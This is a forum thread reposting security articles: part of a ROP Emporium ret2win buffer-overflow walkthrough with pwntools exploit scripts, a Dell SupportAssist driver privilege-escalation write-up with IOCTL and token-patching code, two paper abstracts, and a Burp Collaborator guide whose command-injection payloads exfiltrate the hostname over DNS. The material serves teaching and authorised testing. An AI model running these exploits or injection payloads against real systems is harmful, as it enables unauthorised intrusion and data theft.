[ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] $ds: 0x002b $fs: 0x0000 $ss: 0x002b $gs: 0x0063 $cs: 0x0023 $es: 0x002b ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]──── 0xffefeb50│+0x00: 0xffefeb60 → "test" ← $esp 0xffefeb54│+0x04: 0x00000032 ("2"?) 0xffefeb58│+0x08: 0xf7f045c0 → 0xfbad2088 0xffefeb5c│+0x0c: 0xfbad2887 0xffefeb60│+0x10: "test" ← $eax, $edx 0xffefeb64│+0x14: 0x0000000a 0xffefeb68│+0x18: 0x00000000 0xffefeb6c│+0x1c: 0x00000000 ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386 ]──── 0x804864a lea eax, [ebp-0x28] 0x804864d push eax 0x804864e call 0x8048410 → 0x8048653 add esp, 0x10 0x8048656 nop 0x8048657 leave 0x8048658 ret 0x8048659 push ebp 0x804865a mov ebp, esp ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]──── [#0] Id 1, Name: "ret2win32", stopped, reason: BREAKPOINT ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]──── [#0] 0x8048653 → Name: pwnme() [#1] 0x80485d9 → Name: main() ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Breakpoint 1, 0x08048653 in pwnme () gef➤ +1>+0>+98>+97>+96>+93>@plt>+88>+87>+84>+93> Note I'm using gdb with gef which is a great extension and provides the context we see above. Everything seems to be working as expected, so now let's actually try overflowing this thing. #!/usr/bin/env python2 import pwn t = pwn.process("./ret2win32") gdb_cmd = [ 'b *0x08048653', 'c' ] pwn.gdb.attach(t, gdbscript = '\n'.join(gdb_cmd)) buf = pwn.cyclic(60, n = 4) t.recvuntil('\n>') t.sendline(buf) t.interactive() Here we've created a cyclic pattern 60 characters in length, with every sequence of four characters being unique using pwn.cyclic(60, n = 4). We've assigned that to the variable buf and sent that as our input. We've chosen four characters as a 32-bit memory address is four bytes in length, so if our overflow overwrites something in memory we can determine at exactly what offset into our input that occurs. Running this and examining memory at our breakpoint: ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]──── [#0] Id 1, Name: "ret2win32", stopped, reason: STOPPED ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]──── [#0] 0xf7f9f059 → Name: __kernel_vsyscall() [#1] 0xf7e827d7 → Name: read() [#2] 0xf7e0f798 → Name: _IO_file_underflow() [#3] 0xf7e108ab → Name: _IO_default_uflow() [#4] 0xf7e03871 → Name: _IO_getline_info() [#5] 0xf7e039be → Name: _IO_getline() [#6] 0xf7e027a9 → Name: fgets() [#7] 0x8048653 → Name: pwnme() [#8] 0x80485d9 → Name: main() ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── 0xf7f9f059 in __kernel_vsyscall () Breakpoint 1 at 0x8048653 [ Legend: Modified register | Code | Heap | Stack | String ] ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]──── $eax : 0xff84f0e0 → "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam" $ebx : 0x00000000 $ecx : 0xf7f7389c → 0x00000000 $edx : 0xff84f0e0 → "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam" $esp : 0xff84f0d0 → 0xff84f0e0 → "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam" $ebp : 0xff84f108 → "kaaalaaam" $esi : 0xf7f72000 → 0x001d4d6c ("lM"?) $edi : 0x00000000 $eip : 0x08048653 → <pwnme+93> add esp, 0x10 $eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] $fs: 0x0000 $gs: 0x0063 $ds: 0x002b $cs: 0x0023 $es: 0x002b $ss: 0x002b ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]──── 0xff84f0d0│+0x00: 0xff84f0e0 → "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam" ← $esp 0xff84f0d4│+0x04: 0x00000032 ("2"?) 0xff84f0d8│+0x08: 0xf7f725c0 → 0xfbad2088 0xff84f0dc│+0x0c: 0xfbad2887 0xff84f0e0│+0x10: "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam" ← $eax, $edx 0xff84f0e4│+0x14: "baaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam" 0xff84f0e8│+0x18: "caaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam" 0xff84f0ec│+0x1c: "daaaeaaafaaagaaahaaaiaaajaaakaaalaaam" ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386 ]──── 0x804864a <pwnme+84> lea eax, [ebp-0x28] 0x804864d <pwnme+87> push eax 0x804864e <pwnme+88> call 0x8048410 <fgets@plt> → 0x8048653 <pwnme+93> add esp, 0x10 0x8048656 <pwnme+96> nop 0x8048657 <pwnme+97> leave 0x8048658 <pwnme+98> ret 0x8048659 <ret2win+0> push ebp 0x804865a <ret2win+1> mov ebp, esp ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]──── [#0] Id 1, Name: "ret2win32", stopped, reason: BREAKPOINT ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]──── [#0] 0x8048653 → Name: pwnme() ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Breakpoint 1, 0x08048653 in pwnme () gef➤ We can see our cyclic string in memory. We can examine memory directly using the examine command in gdb. This command can also take a format, so we specify a string with /s. Checkout this cheetsheet for more information on gdb commands. Once we have the string, we can execute shell commands using !<command> to check its length. As expected from our binary analysis, it's 50 characters in length: gef➤ x/s 0xff84f0e0 0xff84f0e0: "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam" gef➤ !echo "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam" | wc -c 50 gef➤ Continuing execution with the c command results in a crash! gef➤ c Continuing. Program received signal SIGSEGV, Segmentation fault. [ Legend: Modified register | Code | Heap | Stack | String ] ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]──── $eax : 0xff84f0e0 → "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam" $ebx : 0x00000000 $ecx : 0xf7f7389c → 0x00000000 $edx : 0xff84f0e0 → "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam" $esp : 0xff84f110 → 0xf7fa006d → 0x00000000 $ebp : 0x6161616b ("kaaa"?) $esi : 0xf7f72000 → 0x001d4d6c ("lM"?) $edi : 0x00000000 $eip : 0x6161616c ("laaa"?) $eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification] $fs: 0x0000 $gs: 0x0063 $ds: 0x002b $cs: 0x0023 $es: 0x002b $ss: 0x002b ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]──── 0xff84f110│+0x00: 0xf7fa006d → 0x00000000 ← $esp 0xff84f114│+0x04: 0xff84f130 → 0x00000001 0xff84f118│+0x08: 0x00000000 0xff84f11c│+0x0c: 0xf7db5e81 → <__libc_start_main+241> add esp, 0x10 0xff84f120│+0x10: 0xf7f72000 → 0x001d4d6c ("lM"?) 0xff84f124│+0x14: 0xf7f72000 → 0x001d4d6c ("lM"?) 0xff84f128│+0x18: 0x00000000 0xff84f12c│+0x1c: 0xf7db5e81 → <__libc_start_main+241> add esp, 0x10 ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386 ]──── [!] Cannot disassemble from $PC [!] Cannot access memory at address 0x6161616c ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]──── [#0] Id 1, Name: "ret2win32", stopped, reason: SIGSEGV ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]──── ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── 0x6161616c in ?? () gef➤ The process crashed with a segfault, the EIP register was overwritten with 0x6161616c which is the "laaa" portion of our input string. Note that due to the little-endian nature of Intel systems, the memory address 0x6161616c is actually stored in memory as 0x6c 0x61 0x61 0x61. When reading addresses from memory, the least significant bit, or the bit with which represents the smallest value is read first. In hex numbers this bit is displayed on the right, which is why the order is reversed. As 0x61 is the byte value of ASCII 'a' and 0x6c is the byte value of ASCII 'c', this explains why 0x6161616c is shown as laaa and not aaal. We can view this in gdb by examining the memory in different chunks: gef➤ x/4xb 0xff84f10c 0xff84f10c: 0x6c 0x61 0x61 0x61 gef➤ x/xw 0xff84f10c 0xff84f10c: 0x6161616c We can see that when examined as four hex bytes (x/4xb) the bytes are displayed as 0x6c 0x61 0x61 0x61 (laaa), as that is the order they occur in memory. However when examined as a single hexadecimal word (four byte group, x/xw), gdb intelligently handles the endianess for us and displays them it as 0x6161616c. This value is overwriting EIP register or the extended instruction pointer. A CPU register is essentially a variable used by the CPU when executing a program, some have dedicated roles and some are general purpose. This CPU register is a vital one as it's a pointer that points to the next instruction to be executed. Overwriting this register then means that we can control the flow of the program as we can change the value to point to a location of our choosing. Let's alter our script to confirm that we have exact control of EIP: #!/usr/bin/env python2 import pwn t = pwn.process("./ret2win32") gdb_cmd = [ 'c' ] pwn.gdb.attach(t, gdbscript = '\n'.join(gdb_cmd)) offset = pwn.cyclic_find("laaa", n = 4) buf = "A" * offset buf += "B" * 4 buf += "C" * 16 t.recvuntil('\n>') t.sendline(buf) t.interactive() We've dropped our breakpoint as we no longer need it and used the pwntools cyclic_find function to determine the offset into our buffer that overwrites EIP. We've then created a buffer that consists of a number of "A"s equals to our offset, then four "B"s that should overwrite the four-byte EIP address exactly, then 16 "C"s that should come afterwards. Running the script results in the expected crash when EIP can't execute the instruction at 0x42424242 (0x42 is the byte value of ASCII "B"). ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]──── [#0] Id 1, Name: "ret2win32", stopped, reason: STOPPED ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]──── [#0] 0xf7f2f059 → Name: __kernel_vsyscall() [#1] 0xf7e127d7 → Name: read() [#2] 0xf7d9f798 → Name: _IO_file_underflow() [#3] 0xf7da08ab → Name: _IO_default_uflow() [#4] 0xf7d93871 → Name: _IO_getline_info() [#5] 0xf7d939be → Name: _IO_getline() [#6] 0xf7d927a9 → Name: fgets() [#7] 0x8048653 → Name: pwnme() [#8] 0x80485d9 → Name: main() ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── 0xf7f2f059 in __kernel_vsyscall () Program received signal SIGSEGV, Segmentation fault. [ Legend: Modified register | Code | Heap | Stack | String ] ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]──── $eax : 0xff9db510 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBC" $ebx : 0x00000000 $ecx : 0xf7f0389c → 0x00000000 $edx : 0xff9db510 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBC" $esp : 0xff9db540 → 0xf7f30043 → 0x0252d800 $ebp : 0x41414141 ("AAAA"?) $esi : 0xf7f02000 → 0x001d4d6c ("lM"?) $edi : 0x00000000 $eip : 0x42424242 ("BBBB"?) $eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification] $cs: 0x0023 $es: 0x002b $ds: 0x002b $gs: 0x0063 $ss: 0x002b $fs: 0x0000 ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]──── 0xff9db540│+0x00: 0xf7f30043 → 0x0252d800 ← $esp 0xff9db544│+0x04: 0xff9db560 → 0x00000001 0xff9db548│+0x08: 0x00000000 0xff9db54c│+0x0c: 0xf7d45e81 → <__libc_start_main+241> add esp, 0x10 0xff9db550│+0x10: 0xf7f02000 → 0x001d4d6c ("lM"?) 0xff9db554│+0x14: 0xf7f02000 → 0x001d4d6c ("lM"?) 0xff9db558│+0x18: 0x00000000 0xff9db55c│+0x1c: 0xf7d45e81 → <__libc_start_main+241> add esp, 0x10 ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386 ]──── [!] Cannot disassemble from $PC [!] Cannot access memory at address 0x42424242 ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]──── [#0] Id 1, Name: "ret2win32", stopped, reason: SIGSEGV ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]──── ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── 0x42424242 in ?? () gef➤ Excellent! Now we just have to figure out where to send the program. The ret2win function from our binary analysis seems like the perfect candidate. If we recall, the memory address of this function was 0x08048659. Let's update our script so that we send execution to this address instead: #!/usr/bin/env python2 import pwn t = pwn.process("./ret2win32") gdb_cmd = [ 'c' ] pwn.gdb.attach(t, gdbscript = '\n'.join(gdb_cmd)) pointer_ret2win = 0x08048659 offset = pwn.cyclic_find("laaa", n = 4) buf = "A" * offset buf += pwn.p32(pointer_ret2win) buf += "C" * 16 t.recvuntil('\n>') t.sendline(buf) t.interactive() We've replaced our four B's with a pointer to ret2win. However as we know we have to make sure we write our bytes in the correct order so that the endianness is taken into account. pwntools has a handy function for doing this for us, pwn.p32() takes a number and packs it as a 32-bit value handling the endianess for us. Executing this results in the ret2win function being called and our flag being printed as /bin/cat flag.txt is invoked via the call to system: $ python pwn_ret2win.py [+] Starting local process './ret2win32': pid 121859 [*] running in new terminal: /usr/bin/gdb -q "./ret2win32" 121859 -x "/tmp/pwnIZOZ88.gdb" [+] Waiting for debugger: Done [*] Switching to interactive mode Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!} [*] Got EOF while reading in interactive $ If we want we can debug the program to see exactly what happens. We notice that after fgets is called part of the stack is overwritten by our buffer. When the pwnme function finishes it performs a ret instruction and the program execution path returns to the return address that is stored on the stack, the location of which has been overwritten by us and now points to ret2win. We have written an exploit that causes the program to return to a location of our choosing, hence return oriented programming. Summary We've had a pretty granular look at the first ropemporium challenge, ret2win. We've used radare2 to perform some binary analysis and pwntools to script our exploit development, creating an exploit that uses a buffer overflow to overwrite the return address of the current function on the stack with a function of our choosing. Next time we'll have a look at the second challenge, split. We'll leave out a lot of the boilerplate that's been covered this time, and start to look at some more advanced uses for our tools. m0rv4i Sursa: https://jmpesp.me/rop-emporium-ret2win-with-radare-and-pwntools/
-
Dell SupportAssist Driver - Local Privilege Escalation May 17th, 2018 This post details a local privilege escalation (LPE) vulnerability I found in Dell’s SupportAssist[0] tool. The bug is in a kernel driver loaded by the tool, and is pretty similar to bugs found by ReWolf in ntiolib.sys/winio.sys[1], and those found by others in ASMMAP/ASMMAP64[2]. These bugs are pretty interesting because they can be used to bypass driver signature enforcement (DSE) ad infinitum, or at least until they’re no longer compatible with newer operating systems. Dell’s SupportAssist is, according to the site, “(..) now preinstalled on most of all new Dell devices running Windows operating system (..)”. It’s primary purpose is to troubleshoot issues and provide support capabilities both to the user and to Dell. There’s quite a lot of functionality in this software itself, which I spent quite a bit of time reversing and may blog about at a later date. Bug Calling this a “bug” is really a misnomer; the driver exposes this functionality eagerly. It actually exposes a lot of functionality, much like some of the previously mentioned drivers. It provides capabilities for reading and writing the model-specific register (MSR), resetting the 1394 bus, and reading/writing CMOS. The driver is first loaded when the SupportAssist tool is launched, and the filename is pcdsrvc_x64.pkms on x64 and pcdsrvc.pkms on x86. Incidentally, this driver isn’t actually even built by Dell, but rather another company, PC-Doctor[3]. This company provides “system health solutions” to a variety of companies, including Dell, Intel, Yokogawa, IBM, and others. Therefore, it’s highly likely that this driver can be found in a variety of other products… Once the driver is loaded, it exposes a symlink to the device at PCDSRVC{3B54B31B-D06B6431-06020200}_0 which is writable by unprivileged users on the system. This allows us to trigger one of the many IOCTLs exposed by the driver; approximately 30. I found a DLL used by the userland agent that served as an interface to the kernel driver and conveniently had symbol names available, allowing me to extract the following: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 // 0x222004 = driver activation ioctl // 0x222314 = IoDriver::writePortData // 0x22230c = IoDriver::writePortData // 0x222304 = IoDriver::writePortData // 0x222300 = IoDriver::readPortData // 0x222308 = IoDriver::readPortData // 0x222310 = IoDriver::readPortData // 0x222700 = EcDriver::readData // 0x222704 = EcDriver::writeData // 0x222080 = MemDriver::getPhysicalAddress // 0x222084 = MemDriver::readPhysicalMemory // 0x222088 = MemDriver::writePhysicalMemory // 0x222180 = Msr::readMsr // 0x222184 = Msr::writeMsr // 0x222104 = PciDriver::readConfigSpace // 0x222108 = PciDriver::writeConfigSpace // 0x222110 = PciDriver::? // 0x22210c = PciDriver::? // 0x222380 = Port1394::doesControllerExist // 0x222384 = Port1394::getControllerConfigRom // 0x22238c = Port1394::getGenerationCount // 0x222388 = Port1394::forceBusReset // 0x222680 = SmbusDriver::genericRead // 0x222318 = SystemDriver::readCmos8 // 0x22231c = SystemDriver::writeCmos8 // 0x222600 = SystemDriver::getDevicePdo // 0x222604 = SystemDriver::getIntelFreqClockCounts // 0x222608 = SystemDriver::getAcpiThermalZoneInfo Immediately the MemDriver class jumps out. After some reversing, it appeared that these functions do exactly as expected: allow userland services to both read and write arbitrary physical addresses. There are a few quirks, however. To start, the driver must first be “unlocked” in order for it to begin processing control codes. It’s unclear to me if this is some sort of hacky event trigger or whether the kernel developers truly believed this would inhibit malicious access. Either way, it’s goofy. To unlock the driver, a simple ioctl with the proper code must be sent. Once received, the driver will process control codes for the lifetime of the system. To unlock the driver, we just execute the following: 1 2 3 4 5 6 7 8 BOOL bResult; DWORD dwRet; SIZE_T code = 0xA1B2C3D4, outBuf; bResult = DeviceIoControl(hDriver, 0x222004, &code, sizeof(SIZE_T), &outBuf, sizeof(SIZE_T), &dwRet, NULL); Once the driver receives this control code and validates the received code (0xA1B2C3D4), it sets a global flag and begins accepting all other control codes. Exploitation From here, we could exploit this the same way rewolf did [4]: read out physical memory looking for process pool tags, then traverse these until we identify our process as well as a SYSTEM process, then steal the token. However, PCD appears to give us a shortcut via getPhysicalAddress ioctl. If this does indeed return the physical address of a given virtual address (VA), we can simply find the physical of our VA and enable a couple token privileges[5] using the writePhysicalMemory ioctl. Here’s how the getPhysicalAddress function works: 1 2 3 4 5 6 7 8 v5 = IoAllocateMdl(**(PVOID **)(a1 + 0x18), 1u, 0, 0, 0i64); v6 = v5; if ( !v5 ) return 0xC0000001i64; MmProbeAndLockPages(v5, 1, 0); **(_QWORD **)(v3 + 0x18) = v4 & 0xFFF | ((_QWORD)v6[1].Next << 0xC); MmUnlockPages(v6); IoFreeMdl(v6); Keen observers will spot the problem here; the MmProbeAndLockPages call is passing in UserMode for the KPROCESSOR_MODE, meaning we won’t be able to resolve any kernel mode VAs, only usermode addresses. We can still read chunks of physical memory unabated, however, as the readPhysicalMemory function is quite simple: 1 2 3 4 5 if ( !DoWrite ) { memmove(a1, a2, a3); return 1; } They reuse a single function for reading and writing physical memory; we’ll return to that. I decided to take a different approach than rewolf for a number of reasons with great results. Instead, I wanted to toggle on SeDebugPrivilege for my current process token. This would require finding the token in memory and writing a few bytes at a field offset. To do this, I used readPhysicalMemory to read chunks of memory of size 0x10000000 and checked for the first field in a _TOKEN, TokenSource. In a user token, this will be the string User32. Once we’ve identified this, we double check that we’ve found a token by validating the TokenLuid, which we can obtain from userland using the GetTokenInformation API. In order to speed up the memory search, I only iterate over the addresses that match the token’s virtual address byte index. Essentially, when you convert a virtual address to a physical address (PA) the byte index, or the lower 12 bits, do not change. To demonstrate, assume we have a VA of 0xfffff8a001cc2060. Translating this to a physical address then: 1 2 3 4 5 6 7 8 kd> !pte fffff8a001cc2060 VA fffff8a001cc2060 PXE at FFFFF6FB7DBEDF88 PPE at FFFFF6FB7DBF1400 PDE at FFFFF6FB7E280070 PTE at FFFFF6FC5000E610 contains 000000007AC84863 contains 00000000030D4863 contains 0000000073147863 contains E6500000716FD963 pfn 7ac84 ---DA--KWEV pfn 30d4 ---DA--KWEV pfn 73147 ---DA--KWEV pfn 716fd -G-DA--KW-V kd> ? 716fd * 0x1000 + 060 Evaluate expression: 1903153248 = 00000000`716fd060 So our physical address is 0x716fd060 (if you’d like to read more about converting VA to PA, check out this great Microsoft article[6]). Notice the lower 12 bits remain the same between VA/PA. The search loop then boiled down to the following code: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 uStartAddr = uStartAddr + (VirtualAddress & 0xfff); for (USHORT chunk = 0; chunk < 0xb; ++chunk) { lpMemBuf = ReadBlockMem(hDriver, uStartAddr, 0x10000000); for(SIZE_T i = 0; i < 0x10000000; i += 0x1000, uStartAddr += 0x1000){ if (memcmp((DWORD)lpMemBuf + i, "User32 ", 8) == 0){ if (TokenId <= 0x0) FetchTokenId(); if (*(DWORD*)((char*)lpMemBuf + i + 0x10) == TokenId) { hTokenAddr = uStartAddr; break; } } } HeapFree(GetProcessHeap(), 0, lpMemBuf); if (hTokenAddr > 0x0) break; } Once we identify the PA of our token, we trigger two separate writes at offset 0x40 and offset 0x48, or the Enabled and Default fields of a _TOKEN. This sometimes requires a few runs to get right (due to mapping, which I was too lazy to work out), but is very stable. You can find the source code for the bug here. Timeline 04/05/18 – Vulnerability reported 04/06/18 – Initial response from Dell 04/10/18 – Status update from Dell 04/18/18 – Status update from Dell 05/16/18 – Patched version released (v2.2) References [0] http://www.dell.com/support/contents/us/en/04/article/product-support/self-support-knowledgebase/software-and-downloads/supportassist [1] http://blog.rewolf.pl/blog/?p=1630 [2] https://www.exploit-db.com/exploits/39785/ [3] http://www.pc-doctor.com/ [4] https://github.com/rwfpl/rewolf-msi-exploit [5] https://github.com/hatRiot/token-priv [6] https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/converting-virtual-addresses-to-physical-addresses\ Posted by Bryan Alexander May 17th, 2018 Sursa: http://hatriot.github.io/blog/2018/05/17/dell-supportassist-local-privilege-escalation/
-
ABSTRACT Modern malware and spyware platforms attack existing antivirus solutions and even Microsoft PatchGuard. To protect users and business systems new technologies developed by Intel and AMD CPUs may be applied. To deal with the new malware we propose monitoring and controlling access to the memory in real time using Intel VT-x with EPT. We have checked this concept by developing MemoryMonRWX, which is a bare-metal hypervisor. MemoryMonRWX is able to track and trap all types of memory access: read, write, and execute. MemoryMonRWX also has the following competitive advantages: fine-grained analysis, support of multi-core CPUs and 64-bit Windows 10. MemoryMonRWX is able to protect critical kernel memory areas even when PatchGuard has been disabled by malware. Its main innovative features are as follows: guaranteed interception of every memory access, resilience, and low performance degradation. Download: https://arxiv.org/ftp/arxiv/papers/1705/1705.06784.pdf
-
- 1
-
-
The Grey Matter of Securing Android Applications Version 1.0 6th April, 2018 A whitepaper to help developers code a secure Android application by leveraging the security features provided by Google Whitepaper By Shiv Sahni Senior Security Analyst Lucideus Technologies shiv.s@lucideustech.com Download: https://dl.packetstormsecurity.net/papers/general/The_Grey_Matter_of_Securing_Android_Applications_v1.0.pdf
-
Blind Command Injection Testing with Burp Collaborator 15 May 2018 on burpsuite, webapp, command injection, DNS, Exfil In this post we will demonstrate how Burp Collaborator can be leveraged for detecting and exploiting blind command injection vulnerabilities. Burp Collaborator is an excellent tool provided by Portswigger in BurpSuite Pro to help induce and detect external service interactions. These external service interactions occur when an application or system performs an action which interacts with another system or service...eazy peezy. An example of an external interaction is DNS lookups. If you provide a hostname to a service, and it resolves that hostname, an external service interaction has likely occurred. While Burp Collaborator has many use cases, today we'll explore a specific use case -- detecting and exploiting blind command injections. Command injection vulnerabilities occur when user-controllable data is processed by a shell command interpreter -- the information you submitted to the application was used as part of a command run directly by the system. Command injection vulnerabilities are serious findings, as they allow an attacker to execute commands on the underlying system hosting the web application. Let's take a look at how Burp Collaborator could be used to help us detect and exploit the more difficult form of command injection vulnerabilities, blind command injections. In blind command injection, we don't see any output from our injection attacks, even though the command is running behind the scenes. We generally see detection performed via payloads which cause the system to perform a noticeable action like sleep (time-based), or perhaps ping another server under our control. Sleep Command Injected - Response Time Observed Ping Command Injected Ping Response Observed With Burp Collaborator, we can often use its DNS service interaction to find these vulnerabilities a bit more easily. We're likely already using BurpSuite to assess the application, so it makes sense to leverage Collaborator. If we can induce our target to perform an external service interaction via a command injection, we can use Collaborator to confirm it. So you think you have a shot at blind command injection? Start up the Collaborator client! Grab a Collaborator payload by copying it to your clipboard: It will look something like this: 255g0p3vslus8dt7w02tj4cj8ae22r.burpcollaborator.net Fun fact: the nslookup command uses similar syntax on Windows and Linux, making it a perfect candidate for cross-platform blind command injection tests. Just insert nslookup $collaborator-payload into your usual test cases. If a DNS lookup is performed on your payload, you'll be notified by Collaborator. Let's drop a Collaborator payload into our example injection... Here's the payload: 8.8.8.8;nslookup 255g0p3vslus8dt7w02tj4cj8ae22r.burpcollaborator.net The only output we see from the web application is "Test passed." But we see the response to our injection received by the Collaborator client, confirming we have command execution. Awesome. Let's take it a step further. What if we wanted to exfiltrate some data? Perhaps we're unable to gain a shell from our injection attempts, and we need to figure out why -- or we just want a better proof of concept for our report. Collaborator gives us a really simple and effective option for this, without leaving BurpSuite to setup additional tools during a test. We can use Collaborator to pull back some details about the target by appending system data to the beginning of the DNS lookup. Collaborator will accept lookups to any subdomain requested on the payload (keeping in mind 63 character limits for subdomains, and 253 character limits for the overall DNS lookup). Let's pull back the hostname of our target system. Here's the payload: 8.8.8.8;nslookup $(hostname).255g0p3vslus8dt7w02tj4cj8ae22r.burpcollaborator.net Excellent, we've retrieved the hostname from our target through DNS exfiltration. With a little imagination we can bring back all sorts of informative details. A note on security: don't send sensitive data back over a DNS channel without securing it. In addition, you can read about the security of the Collaborator service provided by Portswigger in their documentation, or you can spin up your own private Collaborator server to use internally. Resources Burp Collaborator Documentation OWASP Testing for Command Injections Hackerone Command Injection How-To Contextis Data Exfiltration via Blind OS Command Injection Sursa: http://threat.tevora.com/stop-collaborate-and-listen/
-
- 1
-
-
Forta. Insa ma gandesc daca sa sterg acest link, deoarece am impresia ca o sa ne fure niste utilizatori...